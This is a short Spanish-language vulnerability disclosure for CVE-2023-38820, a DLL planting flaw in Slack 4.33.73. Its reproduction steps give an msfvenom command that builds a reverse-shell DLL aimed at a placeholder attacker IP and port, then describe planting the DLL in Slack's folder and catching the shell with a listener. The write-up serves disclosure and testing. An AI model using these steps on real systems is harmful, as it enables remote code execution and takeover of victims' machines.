DLL-Planting-Slack-4.33.73-CVE-2023-38820

DLL Planting en Slack 4.33.73 - CVE-2023-38820 Descubridor: Idan Malihi

Descripción

Un problema en Slack v.4.33.73 permite a un atacante local ejecutar código arbitrario mediante el mecanismo de carga de DLL en los archivos profapi.dll, CRYPTBASE.dll, KBDUS.DLL, DPAPI.dll, MSASN1.dll, mf.dll, mfplat.dll y RTWorkQ.DLL.

Pasos para Reproducir

Para explotar la vulnerabilidad, un atacante debe descargar e instalar el programa Slack y seguir los pasos:

1. Crear un archivo dll malicioso con msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o profapi.dll
2. Transferir el archivo dll malicioso al equipo de la víctima
3. Abrir la ruta de Slack: "C:\Users\idan.m\AppData\Local\slack\app-4.33.73"
4. Transferir el dll malicioso a la ruta de Slack y nombrarlo "KBDUS.DLL", por ejemplo.
5. Abrir un listener de netcat o metasploit
6. Abrir Slack.exe
7. Obtener una reverse shell.